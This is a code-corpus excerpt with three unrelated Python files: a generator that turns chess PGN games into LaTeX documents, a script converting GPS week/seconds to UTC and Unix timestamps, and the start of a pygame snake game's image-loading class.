\\\\hspace{2mm} \\\\XskaktheGamewhite & ' + \\\n '$\\\\blacksquare$ \\\\hspace{2mm} \\\\XskaktheGameblack' + \\\n ' & Your Comment \\\\\\\\ \\n'\n out += '\\\\hline\\n' + \\\n '\\\\endhead\\n\\n'\n\n if config.use_TeX_while_4_details == True:\n # games details by while at TeX file\n # but not sq_check will be marked\n out += '%init theGame start position\\n' + \\\n '\\\\xskakset{moveid=\\\\xskakgetgame{initmoveid}}\\n' + \\\n '\\n' + \\\n '%as long as we have a moveid\\n' + \\\n '\\\\whiledo{\\\\xskaktestmoveid{\\\\xskakget{movenr}}{\\\\xskakget{player}}}\\n' + \\\n '{%begin block\\n' + \\\n '\t\\\\ifthenelse{\\\\equal{\\\\xskakget{player}}{w}}\\n' + \\\n '\t{% w_hite player\\n' + \\\n '\t\t\\\\chessboard[setfen=\\\\xskakget{nextfen},\\n' + \\\n '\t\t\t\t\tpgfstyle=border,\\n' + \\\n '\t\t\t color=YellowGreen,\\n' + \\\n '\t\t\t markfields={\\\\xskakget{movefrom},\\\\xskakget{moveto}}]\\n' + \\\n '\t\t\\\\newline\\n' + \\\n '\t\t\\\\xskakget{movenr}.\\\\,\\\\xskakget{lan} ... \\n' + \\\n ' \\\\ifthenelse{\\\\equal{\\\\xskakget{moveid}}{\\\\finalmoveid}}\\n' + \\\n ' {\\\\newline \\\\textbf{\\\\XskaktheGameresult}}{} &\\n' + \\\n '\t}%\\n' + \\\n '\t{% b_lack player\\n' + \\\n '\t\t\\\\chessboard[setfen=\\\\xskakget{nextfen},\\n' + \\\n '\t\t\t\t\tpgfstyle=border,\\n' + \\\n '\t\t\t color=YellowGreen,\\n' + \\\n '\t\t\t markfields={\\\\xskakget{movefrom},\\\\xskakget{moveto}}]\\n' + \\\n '\t\t\\\\newline\\n' + \\\n '\t\t\\\\xskakget{movenr}. ... \\\\,\\\\xskakget{lan}\\n' + \\\n ' \\\\ifthenelse{\\\\equal{\\\\xskakget{moveid}}{\\\\finalmoveid}}\\n' + \\\n ' {\\\\newline \\\\textbf{\\\\XskaktheGameresult}}{} \\\\\\\\ \\n' + \\\n '\t}%\\n' + \\\n '\t\\\\xskakset{stepmoveid}\\n' + \\\n '}%end block\\n'\n\n else:\n # games details writen by python script to \n # TeX file\n cb_arr = gen_list(len(game_data_df), cols)\n\n for cnt, row_s in game_data_df.iterrows():\n data = row_s.to_dict()\n cb_arr[cnt] = '% ' + data['lan_str'] + '\\n' + \\\n '\\\\xskakset{moveid=' + data['moveid'] + '}\\n' + \\\n '\\\\chessboard[setfen=\\\\xskakget{nextfen},\\n' + \\\n ' pgfstyle=border,\\n' + \\\n ' color=YellowGreen,\\n' + \\\n ' markfields={' + \\\n data['sq_from'] + ',' + data['sq_to'] + '}'\n\n # arrows that shows the moves \n # are in most cases to much at \n # the diagrams\n if config.move_arrows == True:\n cb_arr[cnt] += ',\\n' + \\\n ' pgfstyle=straightmove,\\n' + \\\n ' color=YellowGreen,\\n' + \\\n ' markmoves={' + \\\n data['sq_from'] + '-' + data['sq_to'] + '}'\n\n # but a king in check will \n # will mark\n if data['sq_check'] != '':\n cb_arr[cnt] += ',\\n' + \\\n ' pgfstyle=circle,\\n' + \\\n ' color=BrickRed,\\n' + \\\n ' markfield={' + data['sq_check'] + '}]\\n'\n else:\n cb_arr[cnt] += ']\\n'\n\n if (cnt + 1) % cols > 0:\n if data['moveid'][-1] == 'w':\n cb_arr[cnt] += '\\\\newline\\n' + \\\n data['moveid'][0:-1] + \\\n '.\\\\,\\\\xskakget{lan} ...\\n'\n else:\n cb_arr[cnt] += '\\\\newline\\n' + \\\n data['moveid'][0:-1] + \\\n '. ...\\\\,\\\\xskakget{lan}\\n'\n if len(game_data_df) == cnt + 1:\n cb_arr[cnt] += '\\\\newline\\n' + \\\n result + '\\n'\n cb_arr[cnt] += '& \\n'\n\n else:\n if data['moveid'][-1] == 'w':\n cb_arr[cnt] += '\\\\newline\\n' + \\\n data['moveid'][0:-1] + \\\n '.\\\\,\\\\xskakget{lan} ...\\n'\n else:\n cb_arr[cnt] += '\\\\newline\\n' + \\\n data['moveid'][0:-1] + \\\n '. ...\\\\,\\\\xskakget{lan}\\n'\n if len(game_data_df) == cnt + 1:\n cb_arr[cnt] += '\\\\newline\\n' + \\\n result + '\\n'\n cb_arr[cnt] += '\\\\\\\\ \\n\\n'\n\n # put arrays to out\n rows = int(len(cb_arr)/cols)\n cb_arr = np.reshape(cb_arr, (rows, cols))\n for ze in range(rows):\n for sp in range(cols):\n if cb_arr[ze, sp] != '': \n out += cb_arr[ze, sp]\n else:\n if sp < cols -1:\n out += '& \\n'\n else:\n out += '\\\\\\\\ \\n'\n\n out += '\\n\\\\end{longtable}\\n'\n\n return out\n\n\ndef list_2_2darr(my_list: list, cols: int) -> np.array:\n \"\"\"Return from a list an 2d np.array with 3 columns\"\"\"\n my_temp_list = gen_list(len(my_list), 3)\n for _ in range(len(my_list)):\n my_temp_list[_] = my_list[_]\n return np.array(my_temp_list, dtype=str).reshape( (get_num_of_rows(len(my_temp_list), 3), 3) )\n\n\ndef gen_remaining_mainline(eco_str: str, pgn_str: str) -> str:\n \"\"\"Return the remaining mainline, i.e. pgn_str - eco_str\"\"\"\n # generate from each move's list a 2d array of elements\n # [['1.' 'e4' 'e5' ]\n # ['2.' 'Bc4' 'Bc5']\n # ['3.' 'c3' '' ]]\n\n eco_arr = list_2_2darr(eco_str.split(' '), 3)\n pgn_arr = list_2_2darr(pgn_str.split(' '), 3)\n\n if eco_arr[len(eco_arr)-1, 3-1] != '':\n pgn_arr = pgn_arr[len(eco_arr):,]\n else:\n pgn_arr[len(eco_arr)-1][0] += '..'\n pgn_arr[len(eco_arr)-1][1] = ''\n pgn_arr = pgn_arr[len(eco_arr)-1:]\n\n pgn_list = list(pgn_arr.flatten())\n new_pgn_str = ' '.join(pgn_list)\n\n return new_pgn_str\n\n\ndef gen_tex_data(pgn_dict: dict, eco_dict: dict, pgn_available: bool, game_data_df: pd.DataFrame) -> str:\n \"\"\"Return the tex data of a game; to be stored as a tex file\"\"\"\n out = '\\\\documentclass[../main.tex]{subfiles}\\n' + \\\n '\\n' + \\\n '\\\\begin{document}\\n'\n if config.use_TeX_while_4_details == True:\n out += '\\\\newcommand\\\\finalmoveid{}\\n'\n out += '\\n' + \\\n '\\\\index{Players ! ' + pgn_dict['White'] + ' $\\\\square$' + '}\\n' + \\\n '\\\\index{Players ! ' + pgn_dict['Black'] + ' $\\\\blacksquare$' + '}\\n' + \\\n '\\\\subsection{' + pgn_dict['White'] + ' vs. ' + pgn_dict['Black'] + ' -- ' + \\\n pgn_dict['Result']\n\n if pgn_available == True:\n out += ' -- ' + pgn_dict['ECO'] + '}\\n'\n else:\n out += '}\\n' + \\\n '\\n'\n\n out += '\\\\begin{multicols*}{2}\\n' + \\\n '\\n'\n\n # opening information\n # eco details from eco_dict\n if pgn_available == True:\n out += \"% Game's Opening ECO data\\n\" + \\\n '\\\\index{Openings ! ' + eco_dict['eco'] + ' -- ' + eco_dict['title'] + '}\\n' + \\\n '\\\\subsubsection{' + \\\n eco_dict['eco'] + ' -- ' + eco_dict['title'] + '}\\n' + \\\n '\\\\begin{flushleft}\\n' + \\\n '\\\\newchessgame[id=eco]\\n' + \\\n '\\\\longmoves\\n' + \\\n '\\\\mainline{' + eco_dict['pgn'] + '}\\n' + \\\n '\\\\begin{center}\\n' + \\\n '\\\\begin{tabular}{C{60mm}}\\n' + \\\n '\\\\chessboard[setfen={' + eco_dict['fen'] + '},\\n' + \\\n ' pgfstyle=border,\\n' + \\\n ' color=YellowGreen,\\n' + \\\n ' markfields={' + \\\n eco_dict['sq_from'] + ',' + eco_dict['sq_to'] + '}'\n\n # arrows that shows the moves \n # are in most cases to much at \n # the diagrams\n if config.move_arrows == True:\n out += ',\\n' + \\\n ' pgfstyle=straightmove,\\n' + \\\n ' color=YellowGreen,\\n' + \\\n ' markmoves={' + \\\n eco_dict['sq_from'] + '-' + eco_dict['sq_to'] + '}'\n\n if eco_dict['sq_check'] != '':\n out += ',\\n' + \\\n ' pgfstyle=circle,\\n' + \\\n ' color=BrickRed,\\n' + \\\n ' markfield={' + eco_dict['sq_check'] + '}]\\n'\n else:\n out += ']\\n'\n\n out += '\\\\newline\\n' + \\\n '\\\\xskakset{moveid=\\\\xskakgetgame{lastmoveid}}\\n' + \\\n '\\\\printmovercolor{\\\\xskakgetgame{lastplayer}}\\n' + \\\n '\\\\end{tabular}\\n' + \\\n '\\\\end{center}\\n'\n\n # PGN TAGS\n out += '% PGN tags\\n' + \\\n '\\\\begin{tabular}{L{60mm} R{10mm}}\\n' + \\\n '\\\\multicolumn{2}{l}{\\\\textbf{'\n site_event = pgn_dict['Site'] + ', ' + pgn_dict['Event']\n if '?' in site_event:\n site_event = site_event.replace('?', '').replace(',', '')\n out += site_event.strip() + '}}\\\\\\\\ \\n' + \\\n '\\multicolumn{2}{l}{' + \\\n pgn_dict['Date']\n\n if pgn_dict['Round'] not in ['?', ' ', '']:\n out += ' Round ' + pgn_dict['Round']\n\n out += '}\\\\\\\\[3mm]\\n'\n\n # White player\n out += '\\\\textbf{$\\\\square$ \\\\hspace{2mm} '\n if 'WhiteTitle' in pgn_dict.keys():\n out += ' ' + pgn_dict['WhiteTitle'] + ' '\n out += pgn_dict['White'] + '}' \n if 'WhiteElo' in pgn_dict.keys():\n if pgn_dict['WhiteElo'] != '':\n out += ' (' + pgn_dict['WhiteElo'] + ') '\n if len(pgn_dict['Result']) > 1:\n out += ' & \\\\textbf{' + pgn_dict['Result'].split('-')[0] + '}\\\\\\\\ \\n'\n else:\n out += ' & \\\\textbf{' + pgn_dict['Result'] + '}\\\\\\\\ \\n'\n \n # Black player\n out += '\\\\textbf{$\\\\blacksquare$ \\\\hspace{2mm} '\n if 'BlackTitle' in pgn_dict.keys():\n out += ' ' + pgn_dict['BlackTitle'] + ' '\n out += pgn_dict['Black'] + '}' \n if 'BlackElo' in pgn_dict.keys():\n if pgn_dict['BlackElo'] != '':\n out += ' (' + pgn_dict['BlackElo'] + ') '\n if len(pgn_dict['Result']) > 1:\n out += ' & \\\\textbf{' + pgn_dict['Result'].split('-')[1] + '}\\\\\\\\ \\n'\n else:\n out += ' & \\\\textbf{' + pgn_dict['Result'] + '}\\\\\\\\ \\n'\n\n out += '\\\\end{tabular}\\n' + \\\n '\\n'\n\n if pgn_available == True:\n # display last half move's diagramm\n # get the last half-move of game_data_df\n game_data_dict = game_data_df.iloc[-1].to_dict()\n out += \"% Game's final diagram and result\\n\" + \\\n '\\\\newchessgame[id=overview]\\n' + \\\n '\\\\longmoves\\n' + \\\n '\\\\hidemoves{' + eco_dict['pgn'] + '}'\n\n remaining_mainline = gen_remaining_mainline(eco_dict['pgn'], pgn_dict['pgn'])\n out += '\\\\mainline{' + remaining_mainline + '}\\n' + \\\n '\\n' + \\\n '\\\\begin{center}\\n' + \\\n '\\\\begin{tabular}{C{60mm}}\\n' + \\\n '\\\\xskakset{moveid=\\\\xskakgetgame{lastmoveid}}\\n' + \\\n '\\\\chessboard[setfen=\\\\xskakget{nextfen},\\n' + \\\n ' pgfstyle=border,\\n' + \\\n ' color=YellowGreen,\\n' + \\\n ' markfields={' + \\\n game_data_dict['sq_from'] + ',' + game_data_dict['sq_to'] + '}'\n\n # arrows that shows the moves \n # are in most cases to much at \n # the diagrams\n if config.move_arrows == True:\n out += ',\\n' + \\\n ' pgfstyle=straightmove,\\n' + \\\n ' color=YellowGreen,\\n' + \\\n ' markmoves={' + \\\n game_data_dict['sq_from'] + '-' + game_data_dict['sq_to'] + '}'\n\n if game_data_dict['sq_check'] != '':\n out += ',\\n' + \\\n ' pgfstyle=circle,\\n' + \\\n ' color=BrickRed,\\n' + \\\n ' markfield={' + game_data_dict['sq_check'] + '}]\\n'\n else:\n out += ']\\n'\n \n if game_data_dict['moveid'][-1] == 'w':\n out += '\\\\newline\\n' + \\\n game_data_dict['moveid'][0:-1] + \\\n '.\\\\,\\\\xskakget{lan} ...\\n'\n else:\n out += '\\\\newline\\n' + \\\n game_data_dict['moveid'][0:-1] + \\\n '. ...\\\\,\\\\xskakget{lan}\\n'\n \n out += '\\\\newline\\n' + \\\n pgn_dict['Result']+ '\\n'\n\n out += '\\\\end{tabular}\\n' + \\\n '\\\\end{center}\\n' + \\\n '\\\\end{flushleft}\\n' + \\\n '\\\\end{multicols*}\\n' + \\\n '\\\\newpage\\n'\n else:\n out +='\\\\end{multicols*}\\n' + \\\n '\\\\newpage\\n'\n \n if config.print_detailed_moves == True:\n if pgn_available == True:\n if config.use_TeX_while_4_details == True:\n out += '% with the definition of the above \\\\newchessgame[id=overview]\\n' + \\\n '% we now have the \\\\finalmoveid as the \\\\xskakgetgame{lastmoveid}\\n' + \\\n '% which will be used below for putting the result\\n' + \\\n '% below the last diagramm\\n' + \\\n '\\\\renewcommand{\\\\finalmoveid}{\\\\xskakgetgame{lastmoveid}}\\n\\n'\n\n out += \"% Game's diagrams\\n\" + \\\n '\\\\newchessgame[id={theGame}\\n' + \\\n ' ,result={' + pgn_dict['Result'] + '}\\n' + \\\n ' ,white={' + pgn_dict['White'] + '}\\n' + \\\n ' ,black={' + pgn_dict['Black'] + '}]\\n\\n' + \\\n '\\\\hidemoves{' + pgn_dict['pgn'] + '}\\n' + \\\n '\\n'\n\n out += gen_digram_table(pgn_dict['White'], \n pgn_dict['Black'], \n 2, # define num of cols 2 or 4\n game_data_df,\n pgn_dict['Result'])\n\n out += '\\\\end{document}\\n'\n\n return out\n\n\ndef get_incremented_filename(filename: str) -> str:\n \"\"\"Return the given filename if exists with an increment\"\"\"\n name, ext = os.path.splitext(filename)\n seq = 0\n # continue from existing sequence number if any\n rex = re.search(r\"^(.*)-(\\d+)$\", name)\n if rex:\n name = rex[1]\n seq = int(rex[2])\n\n while os.path.exists(filename):\n seq += 1\n filename = f\"{name}-{seq}{ext}\"\n return filename\n\n\ndef store_tex_document(tex_doc: str, file_name: str) -> dict:\n \"\"\"Return a dict{'done' : True,\n 'file_name' : } after\n Document is stored at 'file_name'\"\"\"\n #file_name = get_incremented_filename(file_name)\n #print(file_name)\n tex_file = open(file_name, \"w\")\n tex_file.write(tex_doc)\n tex_file.close()\n # check that file name ist stored\n return({'done': os.path.exists(file_name),\n 'file_name': file_name})\n\n\ndef mk_subdirs(pgn_fname: str, tex_path: str) -> dict:\n \"\"\"Return subdirs at tex_path for a pgn-fname\"\"\"\n # pgn_fname /.pgn\n # -->\n # TEX//\n # TEX//images/\n # TEX//sections/\n # not done here, but used later\n # TEX//.tex <-- this is the master tex\n # which includes all \n # tex files from the section dir\n pgn = pgn_fname.split(\"/\")[1].split(\".\")[0]\n tex_work_dir = tex_path + pgn + '/'\n if not os.path.exists(tex_work_dir):\n os.makedirs(tex_work_dir, exist_ok=True)\n os.makedirs(tex_work_dir + 'images/', exist_ok=True)\n os.makedirs(tex_work_dir + 'sections/', exist_ok=True)\n\n return({'done': os.path.exists(tex_work_dir),\n 'work_dir' : tex_work_dir,\n 'images_dir' : tex_work_dir + 'images/',\n 'sections_dir' : tex_work_dir + 'sections/'})\n\n\ndef init_preamble(pgn_fn : str) -> str:\n preamble = ''\n preamble += '% exarticle, if needed to allow 9pt font size\\n' + \\\n '\\\\documentclass[11pt]{article}\\n' + \\\n '\\\\usepackage{import}\\n' + \\\n '\\n' + \\\n '\\\\usepackage{geometry}\\n' + \\\n '\\\\geometry{\\n' + \\\n ' a4paper,\\n' + \\\n ' top=20mm,\\n' + \\\n ' bottom=20mm,\\n' + \\\n ' left=20mm,\\n' + \\\n ' right=20mm\\n' + \\\n '}\\n' + \\\n '\\n' + \\\n '\\\\newcommand*\\\\cleartoleftpage{%\\n' + \\\n ' \\\\clearpage\\n' + \\\n ' \\\\ifodd\\\\value{page}\\\\hbox{}\\\\newpage\\\\fi\\n' + \\\n '}\\n' + \\\n '\\n' + \\\n '% fonts\\n' + \\\n '\\\\usepackage{mathptmx}\\n' + \\\n '\\\\usepackage{amssymb}\\n' + \\\n '\\n' + \\\n '% hyperlinks at toc and PDF outline\\n' + \\\n '\\\\usepackage{hyperref}\\n' + \\\n '\\\\hypersetup{\\n' + \\\n ' colorlinks=true,\\n' + \\\n ' linkcolor=blue,\\n' + \\\n ' filecolor=magenta,\\n' + \\\n ' urlcolor=cyan}\\n' + \\\n '\\\\urlstyle{same}\\n' + \\\n '\\n' + \\\n '% do not like the counters before the titles\\n' + \\\n '\\\\setcounter{secnumdepth}{0}\\n' + \\\n '\\n' + \\\n '% two columns on frist page\\n' + \\\n '\\\\usepackage{multicol}\\n' + \\\n '\\\\setlength{\\\\columnsep}{32pt}\\n' + \\\n '\\n' + \\\n '% for table that can span more then one page\\n' + \\\n '\\\\usepackage{longtable}\\n' + \\\n '\\\\setcounter{LTchunksize}{1000}\\n' + \\\n '% table cell width used with centering\\n' + \\\n '\\\\usepackage{array}\\n' + \\\n '\\\\newcolumntype{L}[1]{>{\\\\raggedright\\\\let\\\\newline\\\\\\\\ \\\\arraybackslash\\\\hspace{0pt}}m{#1}}\\n' + \\\n '\\\\newcolumntype{C}[1]{>{\\\\centering\\\\let\\\\newline\\\\\\\\ \\\\arraybackslash\\\\hspace{0pt}}p{#1}}\\n' + \\\n '\\\\newcolumntype{R}[1]{>{\\\\raggedleft\\\\let\\\\newline\\\\\\\\ \\\\arraybackslash\\\\hspace{0pt}}m{#1}}\\n' + \\\n '\\n' + \\\n '% colors\\n' + \\\n '\\\\usepackage[dvipsnames]{xcolor}\\n' + \\\n '\\n' + \\\n '% chessboards\\n' + \\\n '\\\\usepackage{xskak}\\n' + \\\n '\\\\usepackage{chessboard}\\n'\n # change from small board to tinyboard\n # if you need 4 cols of chessboard, i.e. 2 moves\n preamble += '\\\\setchessboard{smallboard, showmover=false}\\n' + \\\n '\\\\styleC % for tabular pgn notation\\n' + \\\n '\\n' + \\\n '% if you want to add any graphics manually\\n' + \\\n '\\\\usepackage{graphicx} % use graphics in png format\\n' + \\\n '\\\\graphicspath{ {images/} } % images dir is TEX//images/\\n' + \\\n '\\n' + \\\n '% last page number\\n' + \\\n '\\\\usepackage[lastpage,user]{zref}\\n' + \\\n '\\n' + \\\n '% header and footer\\n' + \\\n '\\\\usepackage{titleps}\\n' + \\\n '\\\\newpagestyle{mypage}{%\\n' + \\\n ' \\\\headrule\\n' + \\\n ' \\\\sethead{}{}{\\\\subsectiontitle}\\n' + \\\n ' \\\\footrule\\n' + \\\n ' \\\\setfoot{\\\\sectiontitle}{}{\\\\thepage\\\\ of \\\\zpageref{LastPage}}\\n' + \\\n '}\\n' + \\\n '\\\\settitlemarks{section,subsection,subsubsection}\\n' + \\\n '\\\\pagestyle{mypage}\\n' + \\\n '\\n' + \\\n '% index\\n' + \\\n '\\\\usepackage{makeidx}\\n' + \\\n '\\\\makeindex\\n' + \\\n '\\\\renewcommand{\\indexname}{Index}\\n' + \\\n '\\\\usepackage[totoc]{idxlayout}\\n' + \\\n '\\n' + \\\n '% check if lastmove was w_hite or b_lack\\n' + \\\n '\\\\usepackage{ifthen}\\n' + \\\n '\\\\newcommand{\\\\printmovercolor}[1]\\n' + \\\n '{\\n' + \\\n ' \\\\ifthenelse{\\\\equal{#1}{w}}\\n' + \\\n ' { % True case - w_hite\\n' + \\\n ' \\\\xskakgetgame{lastmovenr}.\\\\,\\\\xskakget{lan} ...\\n' + \\\n ' }\\n' + \\\n ' { % False case - b_lack\\n' + \\\n ' \\\\xskakgetgame{lastmovenr}. ... \\\\,\\\\xskakget{lan}\\n' + \\\n ' }\\n' + \\\n '}\\n' + \\\n '\\n' + \\\n '\\\\usepackage{subfiles} % Best loaded last in the preamble\\n' + \\\n '\\n' + \\\n '% TODO: fill \\\\href{ ... } with the link where you got the pgn from\\n' + \\\n '% e.g. \\\\href{https://theweekinchess.com/assets/files/pgn/tatamast22.pgn}\\n' + \\\n '%\\\\title{\\\\href{}{' + pgn_fn + '}}\\n' + \\\n '\\\\title{' + pgn_fn + '}\\n' + \\\n '\\n' + \\\n '% TODO: fill the \\\\date{ ... }\\n' + \\\n '% e.g. \\\\date{18.01.2022}\\n' + \\\n '%\\\\date{}\\n' + \\\n '\\n' + \\\n '% TODO: fill \\\\href{ ... } with the home link of the site\\n' + \\\n '% e.g. \\\\href{https://theweekinchess.com}\\n' + \\\n '% and the site name you want to emphazie \\\\emph{ ... }\\n' + \\\n '% e.g. \\\\emph{The Week in Chess}\\n' + \\\n '%\\\\author{downloaded from \\\\href{}{\\\\emph{}}}' + \\\n '\\n' + \\\n '\\n' + \\\n '\\\\begin{document}\\n' + \\\n '\\n' + \\\n '\\\\maketitle\\n' + \\\n '\\n' + \\\n '% TODO: fill \\\\includegraphics[width=15cm]{ ... }\\n' + \\\n '% with png image name without extention .png\\n' + \\\n '% the png image shall be stored at TEX//images/\\n' + \\\n '% e.g. \\\\includegraphics[width=15cm]{participants}\\n' + \\\n '%\\\\begin{center}\\n' + \\\n '%\\\\includegraphics[width=15cm]{}\\n' + \\\n '%\\\\end{center}\\n' + \\\n '\\\\newpage\\n' + \\\n '\\n' + \\\n '\\\\tableofcontents\\n' + \\\n '\\\\newpage\\n' + \\\n '\\n' + \\\n '% put index page here\\n' + \\\n '\\\\printindex\\n' + \\\n '\\n' + \\\n '\\\\cleartoleftpage\\n'\n return preamble \n\n\ndef generate_master_tex(pgn_fname : str, tex_path : str, section_subfile_list : list) -> str:\n \"\"\"Return the name of the tex master file and generates it for that pgn\"\"\"\n pgn = pgn_fname.split(\"/\")[1].split(\".\")[0]\n tex_master_fn = tex_path + pgn + '/main' + '.tex'\n\n tex_doc = init_preamble(pgn + '.pgn')\n \n last_section_header = ''\n for _, item_dict in enumerate(section_subfile_list):\n if last_section_header != str(item_dict['section']):\n last_section_header = str(item_dict['section'])\n tex_doc += '\\\\section{' + item_dict['section'] + '}\\n'\n\n name = item_dict['subfile'].split('/')[-1]\n subfile_name = 'sections/' + name.split('.')[0]\n if config.print_detailed_moves == True:\n tex_doc += '\\\\subfile{' + subfile_name + '}\\n' + \\\n '\\n' + \\\n '\\\\cleartoleftpage\\n' + \\\n '\\n'\n else:\n tex_doc += '\\\\subfile{' + subfile_name + '}\\n' + \\\n '\\n' + \\\n '\\\\clearpage\\n' + \\\n '\\n'\n\n tex_doc += '\\\\end{document}\\n'\n return store_tex_document(tex_doc, tex_master_fn)\n\n\n\n\n\ndef main():\n \"\"\"some test for the pgn.py\"\"\"\n ##################################################\n # this is for testing only\n # you need to create at your working directory\n # a directory PGN/, structured as the repo's PGN dir\n # or\n # change the code at\n # pgn.main pgn_dir to whatever you need\n # the line here :\n ##################################################\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"hlotze/pgn2tex","sub_path":"tex.py","file_name":"tex.py","file_ext":"py","file_size_in_byte":24819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34252307254","text":"##!/usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\n# @Time : 2019/4/2\r\n# @Author : Hu Sai\r\n# @Filename : gps_time2timestamp.py\r\n# @Email : 17095338g@connect.polyu.hk\r\n\r\nimport datetime,time,calendar\r\nimport numpy as np\r\n \r\ndef gps2utc(gpsweek,gpsseconds):\r\n datetimeformat = \"%Y-%m-%d %H:%M:%S\"\r\n epoch = datetime.datetime.strptime(\"1980-01-06 00:00:00\",datetimeformat)\r\n elapsed = datetime.timedelta(days=(gpsweek*7),seconds=(gpsseconds))\r\n return datetime.datetime.strftime(epoch + elapsed,datetimeformat)\r\n\r\ndef utc2unix(utc):\r\n timeArray = time.strptime(utc, \"%Y-%m-%d %H:%M:%S\")\r\n timeStamp = int(time.mktime(timeArray)) + 28800\r\n return timeStamp\r\n\r\ngps_sec = []\r\ngps_week = []\r\nutc_list = []\r\ntimestamp_list = []\r\nwith open('span1.txt') as f:\r\n lines = f.readlines()[15:]\r\n for line in lines:\r\n gps_sec.append(line.split()[0])\r\n gps_week.append(line.split()[1])\r\n\r\ngps_sec_float = map(float,gps_sec)\r\ngps_week_float = map(float,gps_week)\r\n\r\nfor (i1,i2) in zip(gps_week_float,gps_sec_float): \r\n utc = gps2utc(i1,i2)\r\n timestamp = utc2unix(utc)\r\n utc_list.append(utc)\r\n timestamp_list.append(timestamp)\r\n \r\nfor i,j in zip(utc_list,timestamp_list):\r\n print(i,j)\r\n","repo_name":"StanleyHusai/gpstime2unixtime","sub_path":"1111111111111/gps_time2timestamp.py","file_name":"gps_time2timestamp.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39437282255","text":"import pygame\nimport os\nclass Image():\n\n def __init__(self,model):\n self.model = model\n pygame.font.init()\n\n self.WIDTH = 1920/2\n self.HEIGHT = 1080/2\n\n self.GRASS = pygame.image.load(os.path.join('img','grass.png'))\n\n self.MENU_DIFFICULTY_EASY = pygame.image.load(os.path.join('img','menu_difficulty_easy.png'))\n self.MENU_DIFFICULTY_EASY = pygame.transform.scale(self.MENU_DIFFICULTY_EASY,(self.WIDTH,self.HEIGHT))\n\n self.MENU_DIFFICULTY_MEDIUM = pygame.image.load(os.path.join('img','menu_difficulty_medium.png'))\n self.MENU_DIFFICULTY_MEDIUM = pygame.transform.scale(self.MENU_DIFFICULTY_MEDIUM,(self.WIDTH,self.HEIGHT))\n\n self.MENU_DIFFICULTY_HARD = pygame.image.load(os.path.join('img','menu_difficulty_hard.png'))\n self.MENU_DIFFICULTY_HARD = pygame.transform.scale(self.MENU_DIFFICULTY_HARD,(self.WIDTH,self.HEIGHT))\n\n self.MAIN_MENU_IMG = pygame.image.load(os.path.join('img','main_menu.png'))\n self.MAIN_MENU_IMG = pygame.transform.scale(self.MAIN_MENU_IMG,(self.WIDTH,self.HEIGHT))\n\n self.MAIN_SCORE = pygame.image.load(os.path.join(\"img\",\"main_score.png\"))\n self.MAIN_SCORE = pygame.transform.scale(self.MAIN_SCORE,(self.WIDTH,self.HEIGHT))\n\n self.GAME_OVER = pygame.image.load(os.path.join(\"img\",\"game_over.png\"))\n self.GAME_OVER = pygame.transform.scale(self.GAME_OVER,(self.WIDTH,self.HEIGHT))\n\n self.MAIN = pygame.image.load(os.path.join(\"img\",\"main.png\"))\n self.MAIN = pygame.transform.scale(self.MAIN,(self.WIDTH,self.HEIGHT))\n\n self.BUTTON_YES = pygame.image.load(os.path.join('img','button_yes.png'))\n self.BUTTON_YES.set_colorkey((255,255,255))\n\n self.BUTTON_YES_HOVER = pygame.image.load(os.path.join('img','button_yes_hover.png'))\n self.BUTTON_YES_HOVER.set_colorkey((255,255,255))\n\n self.BUTTON_NO = pygame.image.load(os.path.join('img','button_no.png'))\n self.BUTTON_NO.set_colorkey((255,255,255))\n\n self.BUTTON_NO_HOVER = pygame.image.load(os.path.join('img','button_no_hover.png'))\n self.BUTTON_NO_HOVER.set_colorkey((255,255,255))\n\n self.BUTTON_EXIT = pygame.image.load(os.path.join('img','button_exit.png'))\n self.BUTTON_EXIT.set_colorkey((255,255,255))\n\n self.BUTTON_EXIT_HOVER = pygame.image.load(os.path.join('img','button_exit_hover.png'))\n self.BUTTON_EXIT_HOVER.set_colorkey((255,255,255))\n\n self.BUTTON_START = pygame.image.load(os.path.join('img','button_start.png'))\n self.BUTTON_START.set_colorkey((255,255,255))\n\n self.BUTTON_START_HOVER = pygame.image.load(os.path.join('img','button_start_hover.png'))\n self.BUTTON_START_HOVER.set_colorkey((255,255,255))\n\n self.BUTTON_SCORE = pygame.image.load(os.path.join('img','button_score.png'))\n self.BUTTON_SCORE.set_colorkey((255,255,255))\n\n self.BUTTON_SCORE_HOVER = pygame.image.load(os.path.join('img','button_score_hover.png'))\n self.BUTTON_SCORE_HOVER.set_colorkey((255,255,255))\n\n self.BUTTON_DIFFICULTY = pygame.image.load(os.path.join('img','button_difficulty.png'))\n self.BUTTON_DIFFICULTY.set_colorkey((255,255,255))\n\n self.BUTTON_DIFFICULTY_HOVER = pygame.image.load(os.path.join('img','button_difficulty_hover.png'))\n self.BUTTON_DIFFICULTY_HOVER.set_colorkey((255,255,255))\n\n self.BUTTON_EASY = pygame.image.load(os.path.join('img','button_easy.png'))\n self.BUTTON_EASY.set_colorkey((255,255,255))\n\n self.BUTTON_EASY_HOVER = pygame.image.load(os.path.join('img','button_easy_hover.png'))\n self.BUTTON_EASY_HOVER.set_colorkey((255,255,255))\n\n self.BUTTON_MEDIUM = pygame.image.load(os.path.join('img','button_medium.png'))\n self.BUTTON_MEDIUM.set_colorkey((255,255,255))\n\n self.BUTTON_MEDIUM_HOVER = pygame.image.load(os.path.join('img','button_medium_hover.png'))\n self.BUTTON_MEDIUM_HOVER.set_colorkey((255,255,255))\n\n self.BUTTON_HARD = pygame.image.load(os.path.join('img','button_hard.png'))\n self.BUTTON_HARD.set_colorkey((255,255,255))\n\n self.BUTTON_HARD_HOVER = pygame.image.load(os.path.join('img','button_hard_hover.png'))\n self.BUTTON_HARD_HOVER.set_colorkey((255,255,255))\n\n self.BUTTON_BACK = pygame.image.load(os.path.join('img','button_back.png'))\n self.BUTTON_BACK.set_colorkey((255,255,255))\n\n self.BUTTON_BACK_HOVER = pygame.image.load(os.path.join('img','button_back_hover.png'))\n self.BUTTON_BACK_HOVER.set_colorkey((255,255,255))\n\n self.WALL = pygame.image.load(os.path.join('img','wall.png'))\n self.WALL = pygame.transform.scale(self.WALL,(30,30))\n self.WALL.set_colorkey((255,255,255))\n\n self.SNAKE_HEAD = pygame.image.load(os.path.join('img','snake_head.png'))\n self.SNAKE_HEAD = pygame.transform.scale(self.SNAKE_HEAD,(30,30))\n 